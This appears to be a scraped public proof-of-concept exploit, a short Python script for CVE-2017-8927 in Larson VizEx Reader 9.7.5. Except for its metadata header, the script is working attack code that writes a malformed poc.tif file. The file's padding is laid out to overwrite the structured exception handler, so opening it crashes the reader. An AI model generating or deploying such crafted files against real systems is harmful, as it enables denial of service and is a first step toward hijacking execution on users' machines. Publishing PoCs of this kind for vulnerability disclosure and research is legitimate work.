21 lines
No EOL
763 B
Python
Executable file
21 lines
No EOL
763 B
Python
Executable file
#!/usr/bin/python
|
|
# Exploit Title : Larson VizEx Reader 9.7.5 - Local Buffer Overflow (SEH)
|
|
# Date : 14/05/2017
|
|
# Exploit Author : Muhann4d
|
|
# CVE : CVE-2017-8927
|
|
# Vendor Homepage : http://www.cgmlarson.com/
|
|
# Software Link : http://download.freedownloadmanager.org/Windows-PC/Larson-VizEx-Reader/FREE-9.7.5.html
|
|
# Affected Versions : 9.7.5
|
|
# Category : Denial of Service (DoS) Local
|
|
# Tested on OS : Windows 7 Professional SP1 32bit
|
|
# Proof of Concept : run the exploit, open the poc.tif file with Larson VizEx Reader 9.7.5
|
|
|
|
# Vendor has been cantacted but no reply
|
|
|
|
buf = "\x41" * 800
|
|
buff = "\x42" * 4
|
|
bufff = "\x43" * 4
|
|
buffff = "\x44" * 9999
|
|
f = open ("poc.tif", "w")
|
|
f.write(buf + buff + bufff + buffff)
|
|
f.close() |